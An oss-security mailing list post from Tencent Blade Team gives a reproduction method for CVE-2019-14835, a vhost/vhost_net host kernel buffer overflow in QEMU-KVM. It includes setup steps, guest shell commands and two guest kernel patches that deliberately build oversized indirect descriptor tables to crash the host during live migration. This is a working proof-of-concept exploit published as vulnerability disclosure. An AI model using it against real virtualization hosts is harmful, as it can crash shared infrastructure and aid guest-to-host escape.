[prev in list] [next in list] [prev in thread] [next in thread]
List: oss-security
Subject: [oss-security] Re: CVE-2019-14835: QEMU-KVM Guest to Host Kernel Escape Vulnerability: vhost/vhost_n
From: <peterpi () tencent ! com>
Date: 2019-09-24 9:29:10
Message-ID: 67c3c942b4854b6e8a14a29d16c6af96 () tencent ! com
[Download RAW message or body]
[Attachment #2 (multipart/alternative)]
[Attachment #4 (text/plain)]
Reproduce method of CVE-2019-14835 with Ubuntu and virt-manager.
The reproduce method will hit the log buffer overflow in function get_indirect and crash the \
host kernel. We will use virt-manager to do live migrate. If you have your own live migrate \
method, then you only need the "setup guest" step, then trigger live migrate to test the bug.
Two Hosts: A local host installed Ubuntu 18.04 LTS with [your target kernel] and with \
virt-manager installed, and can create and start a QEMU-KVM VM by virt-manager. And a remote \
host with same setup (no need latest mainline stable kernel) for live migrate.
Guest: Create a Ubuntu 16.04 LTS guest by virt-manager on local host.
We will setup virt-manager live migrate connection, and setup the guest kernel with indirect \
desc table, then trigger live migrate by virt-manager, local host kernel will be crashed. It \
seems virt-manger will use vhost/vhost_net as default virtio network backend on my environment.
1> Connect to remote host for live migrate
Start virt-manager on local host by : sudo virt-manager --no-fork
After using --no-fork, you can add connection to remote host using SSH.
In the virt-manager main window, select File -> Add Connection -> Connect to remote host \
(Method: SSH, Username : [remote host ssh login username], Hostname : [remote host IP]) Click \
connect, then in the "sudo virt-manager --no-fork" shell will let you to input SSH login \
password.
2> setup guest
After connected to remote host, you can start your guest to setup it.
Start guest, virt-manager will new a VM window to start your guest vm.
In guest, I cloned Linux kernel from ubuntu kernel source \
git(git://kernel.ubuntu.com/ubuntu/ubuntu-xenial.git) according to ubuntu wiki. And "git \
checkout Ubuntu-hwe-4.15.0-50.54_16.04.1". Build the kernel with attached patches and install \
the built kernel.
In the guest with built kernel, do below steps:
root@pp-Standard-PC-i440FX-PIIX-1996:~# find /sys -name "*mergeable*"
/sys/devices/pci0000:00/0000:00:03.0/virtio0/net/ens3/queues/rx-0/virtio_net/mergeable_rx_buffer_size
root@pp-Standard-PC-i440FX-PIIX-1996:~# echo 60000 > \
/sys/devices/pci0000:00/0000:00:03.0/virtio0/net/ens3/queues/rx-0/virtio_net/mergeable_rx_buffer_size
root@pp-Standard-PC-i440FX-PIIX-1996:~# modprobe -r virtio_net
root@pp-Standard-PC-i440FX-PIIX-1996:~# modprobe virtio_net
root@pp-Standard-PC-i440FX-PIIX-1996:~#
3> Trigger live migrate
In the virt-manager VM window, select Virtual Machine -> Migrate -> if the "Address" field \
displays remote host machine name, change it to remote host IP. When start migrate, it will \
cause local host kernel crash after some seconds.
Peter Pi of Tencent Blade Team
[Attachment #5 (text/html)]
<html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office" \
xmlns:w="urn:schemas-microsoft-com:office:word" \
xmlns:m="http://schemas.microsoft.com/office/2004/12/omml" \
xmlns="http://www.w3.org/TR/REC-html40"> <head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="Generator" content="Microsoft Word 15 (filtered medium)">
<style><!--
/* Font Definitions */
@font-face
{font-family:"Cambria Math";
panose-1:2 4 5 3 5 4 6 3 2 4;}
@font-face
{font-family:等线;
panose-1:2 1 6 0 3 1 1 1 1 1;}
@font-face
{font-family:"\@等线";
panose-1:2 1 6 0 3 1 1 1 1 1;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{margin:0cm;
margin-bottom:.0001pt;
text-align:justify;
text-justify:inter-ideograph;
font-size:10.5pt;
font-family:等线;}
a:link, span.MsoHyperlink
{mso-style-priority:99;
color:#0563C1;
text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
{mso-style-priority:99;
color:#954F72;
text-decoration:underline;}
span.EmailStyle17
{mso-style-type:personal-compose;
font-family:等线;
color:windowtext;}
.MsoChpDefault
{mso-style-type:export-only;
font-family:等线;}
/* Page Definitions */
@page WordSection1
{size:612.0pt 792.0pt;
margin:72.0pt 90.0pt 72.0pt 90.0pt;}
div.WordSection1
{page:WordSection1;}
--></style><!--[if gte mso 9]><xml>
<o:shapedefaults v:ext="edit" spidmax="1026" />
</xml><![endif]--><!--[if gte mso 9]><xml>
<o:shapelayout v:ext="edit">
<o:idmap v:ext="edit" data="1" />
</o:shapelayout></xml><![endif]-->
</head>
<body lang="ZH-CN" link="#0563C1" vlink="#954F72" style="text-justify-trim:punctuation">
<div class="WordSection1">
<p class="MsoNormal"><span lang="EN-US">Reproduce method of CVE-2019-14835 with Ubuntu and \
virt-manager.<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US"><o:p> </o:p></span></p> <p class="MsoNormal"><span lang="EN-US">The reproduce \
method will hit the log buffer overflow in function get_indirect and crash the host \
kernel.<o:p></o:p></span></p> <p class="MsoNormal"><span lang="EN-US">We will use virt-manager \
to do live migrate. If you have your own live migrate method, then you only need the \
"setup guest" step, then trigger live migrate to test the bug.<o:p></o:p></span></p> \
<p class="MsoNormal"><span lang="EN-US"><o:p> </o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US">Two Hosts: A local host installed Ubuntu 18.04 LTS with [your target kernel] and \
with virt-manager installed, and can create and start a QEMU-KVM VM by virt-manager. And a \
remote host with same setup (no need latest mainline stable kernel) for live \
migrate.<o:p></o:p></span></p> <p class="MsoNormal"><span lang="EN-US">Guest: Create a Ubuntu \
16.04 LTS guest by virt-manager on local host. <o:p></o:p></span></p>
<p class="MsoNormal"><span lang="EN-US"><o:p> </o:p></span></p>
<p class="MsoNormal"><span lang="EN-US">We will setup virt-manager live migrate connection, and \
setup the guest kernel with indirect desc table, then trigger live migrate by virt-manager, \
local host kernel will be crashed.<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US">It seems virt-manger will use vhost/vhost_net as default virtio network backend on \
my environment.<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US"><o:p> </o:p></span></p> <p class="MsoNormal"><span lang="EN-US">1> Connect \
to remote host for live migrate<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US">Start virt-manager on local host by : sudo virt-manager \
--no-fork<o:p></o:p></span></p> <p class="MsoNormal"><span lang="EN-US">After using --no-fork, \
you can add connection to remote host using SSH.<o:p></o:p></span></p> <p \
class="MsoNormal"><span lang="EN-US">In the virt-manager main window, select File -> Add \
Connection -> Connect to remote host (Method: SSH, Username : [remote host ssh login \
username], Hostname : [remote host IP])<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US">Click connect, then in the "sudo virt-manager --no-fork" shell will let \
you to input SSH login password.<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US"> <o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US"><o:p> </o:p></span></p> <p class="MsoNormal"><span lang="EN-US">2> setup \
guest<o:p></o:p></span></p> <p class="MsoNormal"><span lang="EN-US">After connected to remote \
host, you can start your guest to setup it.<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US">Start guest, virt-manager will new a VM window to start your guest \
vm.<o:p></o:p></span></p> <p class="MsoNormal"><span lang="EN-US"><o:p> </o:p></span></p>
<p class="MsoNormal"><span lang="EN-US">In guest, I cloned Linux kernel from ubuntu kernel \
source git(git://kernel.ubuntu.com/ubuntu/ubuntu-xenial.git) according to ubuntu wiki. \
<o:p></o:p></span></p> <p class="MsoNormal"><span lang="EN-US">And "git checkout \
Ubuntu-hwe-4.15.0-50.54_16.04.1". Build the kernel with attached patches and install the \
built kernel.<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US"><o:p> </o:p></span></p> <p class="MsoNormal"><span lang="EN-US">In the guest \
with built kernel, do below steps:<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US"><o:p> </o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US">root@pp-Standard-PC-i440FX-PIIX-1996:~# find /sys -name \
"*mergeable*"<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US">/sys/devices/pci0000:00/0000:00:03.0/virtio0/net/ens3/queues/rx-0/virtio_net/mergeable_rx_buffer_size<o:p></o:p></span></p>
<p class="MsoNormal"><span lang="EN-US">root@pp-Standard-PC-i440FX-PIIX-1996:~# echo 60000 \
> /sys/devices/pci0000:00/0000:00:03.0/virtio0/net/ens3/queues/rx-0/virtio_net/mergeable_rx_buffer_size<o:p></o:p></span></p>
<p class="MsoNormal"><span lang="EN-US">root@pp-Standard-PC-i440FX-PIIX-1996:~# modprobe -r \
virtio_net<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US">root@pp-Standard-PC-i440FX-PIIX-1996:~# modprobe \
virtio_net<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US">root@pp-Standard-PC-i440FX-PIIX-1996:~#<o:p></o:p></span></p> <p \
class="MsoNormal"><span lang="EN-US"><o:p> </o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US"><o:p> </o:p></span></p> <p class="MsoNormal"><span lang="EN-US">3> Trigger \
live migrate<o:p></o:p></span></p> <p class="MsoNormal"><span lang="EN-US">In the virt-manager \
VM window, select Virtual Machine -> Migrate -> if the "Address" field displays \
remote host machine name, change it to remote host IP.<o:p></o:p></span></p> <p \
class="MsoNormal"><span lang="EN-US">When start migrate, it will cause local host kernel crash \
after some seconds.<o:p></o:p></span></p> <p class="MsoNormal"><span \
lang="EN-US"><o:p> </o:p></span></p> <p class="MsoNormal"><span lang="EN-US">Peter Pi of \
Tencent Blade Team<o:p></o:p></span></p> </div>
</body>
</html>
["poc_guest_virtio_ring.diff" (application/octet-stream)]
diff --git a/drivers/virtio/virtio_ring.c b/drivers/virtio/virtio_ring.c
index 71458f4..4c14dd1 100644
--- a/drivers/virtio/virtio_ring.c
+++ b/drivers/virtio/virtio_ring.c
@@ -256,7 +256,8 @@ static struct vring_desc *alloc_indirect(struct virtqueue *_vq,
desc[i].next = cpu_to_virtio16(_vq->vdev, i + 1);
return desc;
}
-
+volatile int g_trigger_bug = 0;
+EXPORT_SYMBOL(g_trigger_bug);
static inline int virtqueue_add(struct virtqueue *_vq,
struct scatterlist *sgs[],
unsigned int total_sg,
@@ -276,8 +277,8 @@ static inline int virtqueue_add(struct virtqueue *_vq,
START_USE(vq);
BUG_ON(data == NULL);
- BUG_ON(ctx && vq->indirect);
-
+ // by peter BUG_ON(ctx && vq->indirect);
+ //printk("[Peter] ENter virtqueue_add name = %s\n", _vq->name);
if (unlikely(vq->broken)) {
END_USE(vq);
return -EIO;
@@ -299,6 +300,11 @@ static inline int virtqueue_add(struct virtqueue *_vq,
BUG_ON(total_sg == 0);
head = vq->free_head;
+ if (g_trigger_bug && strstr(_vq->name, "input")) { //added by peter
+ vq->indirect = true;
+ total_sg = g_trigger_bug;
+ printk("[Peter] set indirect to true, total_sg to %d\n", total_sg);
+ }
/* If the host supports indirect descriptor tables, and we have multiple
* buffers, then go indirect. FIXME: tune this threshold */
@@ -323,7 +329,7 @@ static inline int virtqueue_add(struct virtqueue *_vq,
}
if (vq->vq.num_free < descs_used) {
- pr_debug("Can't add buf len %i - avail = %i\n",
+ pr_err("[Peter] Can't add buf len %i - avail = %i\n",
descs_used, vq->vq.num_free);
/* FIXME: for historical reasons, we force a notify here if
* there are outgoing parts to the buffer. Presumably the
@@ -362,6 +368,17 @@ static inline int virtqueue_add(struct virtqueue *_vq,
i = virtio16_to_cpu(_vq->vdev, desc[i].next);
}
}
+
+ if (g_trigger_bug && strstr(_vq->name , "input")) { // added by peter
+ for (; n < total_sg; ++n) {
+ desc[i].flags = desc[prev].flags;
+ desc[i].addr = desc[prev].addr;
+ desc[i].len = (n > 500) ? 0 : desc[prev].len;
+ prev = i;
+ i = virtio16_to_cpu(_vq->vdev, desc[i].next);
+ }
+ printk("[Peter] desc addr = 0x%lx, len = %x\n", desc[prev].addr, desc[prev].len);
+ }
/* Last one doesn't continue. */
desc[prev].flags &= cpu_to_virtio16(_vq->vdev, ~VRING_DESC_F_NEXT);
@@ -377,6 +394,9 @@ static inline int virtqueue_add(struct virtqueue *_vq,
vq->vring.desc[head].addr = cpu_to_virtio64(_vq->vdev, addr);
vq->vring.desc[head].len = cpu_to_virtio32(_vq->vdev, total_sg * sizeof(struct vring_desc));
+ if (g_trigger_bug && strstr(_vq->name , "input")) {
+ printk("[Peter] indirect->addr = 0x%lx, indirect->len = %x\n", vq->vring.desc[head].addr, \
vq->vring.desc[head].len); + }
}
/* We're using some buffers from the free list. */
["poc_guest_virtio_net.diff" (application/octet-stream)]
diff --git a/drivers/net/virtio_net.c b/drivers/net/virtio_net.c
index c70441f..f7d61ab 100644
--- a/drivers/net/virtio_net.c
+++ b/drivers/net/virtio_net.c
@@ -916,7 +916,7 @@ static int add_recvbuf_small(struct virtnet_info *vi, struct receive_queue *rq,
void *ctx = (void *)(unsigned long)xdp_headroom;
int len = vi->hdr_len + VIRTNET_RX_PAD + GOOD_PACKET_LEN + xdp_headroom;
int err;
-
+ //printk("[Peter] add_recvbuf_small name = %s\n", rq->vq->name);
len = SKB_DATA_ALIGN(len) +
SKB_DATA_ALIGN(sizeof(struct skb_shared_info));
if (unlikely(!skb_page_frag_refill(len, alloc_frag, gfp)))
@@ -939,7 +939,7 @@ static int add_recvbuf_big(struct virtnet_info *vi, struct receive_queue *rq,
struct page *first, *list = NULL;
char *p;
int i, err, offset;
-
+ //printk("[Peter] add_recvbuf_big name = %s\n", rq->vq->name);
sg_init_table(rq->sg, MAX_SKB_FRAGS + 2);
/* page in rq->sg[MAX_SKB_FRAGS + 1] is list tail */
@@ -1002,7 +1002,7 @@ static int add_recvbuf_mergeable(struct virtnet_info *vi,
void *ctx;
int err;
unsigned int len, hole;
-
+ //printk("[Peter] add_recvbuf_mergeable name = %s\n", rq->vq->name);
len = get_mergeable_buf_len(rq, &rq->mrg_avg_pkt_len);
if (unlikely(!skb_page_frag_refill(len + headroom, alloc_frag, gfp)))
return -ENOMEM;
@@ -2463,9 +2463,15 @@ static ssize_t mergeable_rx_buffer_size_show(struct netdev_rx_queue *queue,
return sprintf(buf, "%u\n",
get_mergeable_buf_len(&vi->rq[queue_index], avg));
}
-
+//added by peter
+extern volatile int g_trigger_bug;
+ssize_t mergeable_rx_buffer_size_store(struct netdev_rx_queue *queue,
+ const char* buf, size_t len) {
+ kstrtos32(buf, 10, &g_trigger_bug);
+ printk("[Peter] g_trigger_bug set to %d\n", g_trigger_bug);
+}
static struct rx_queue_attribute mergeable_rx_buffer_size_attribute =
- __ATTR_RO(mergeable_rx_buffer_size);
+ __ATTR_RW(mergeable_rx_buffer_size); // modified by peter
static struct attribute *virtio_net_mrg_rx_attrs[] = {
&mergeable_rx_buffer_size_attribute.attr,
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic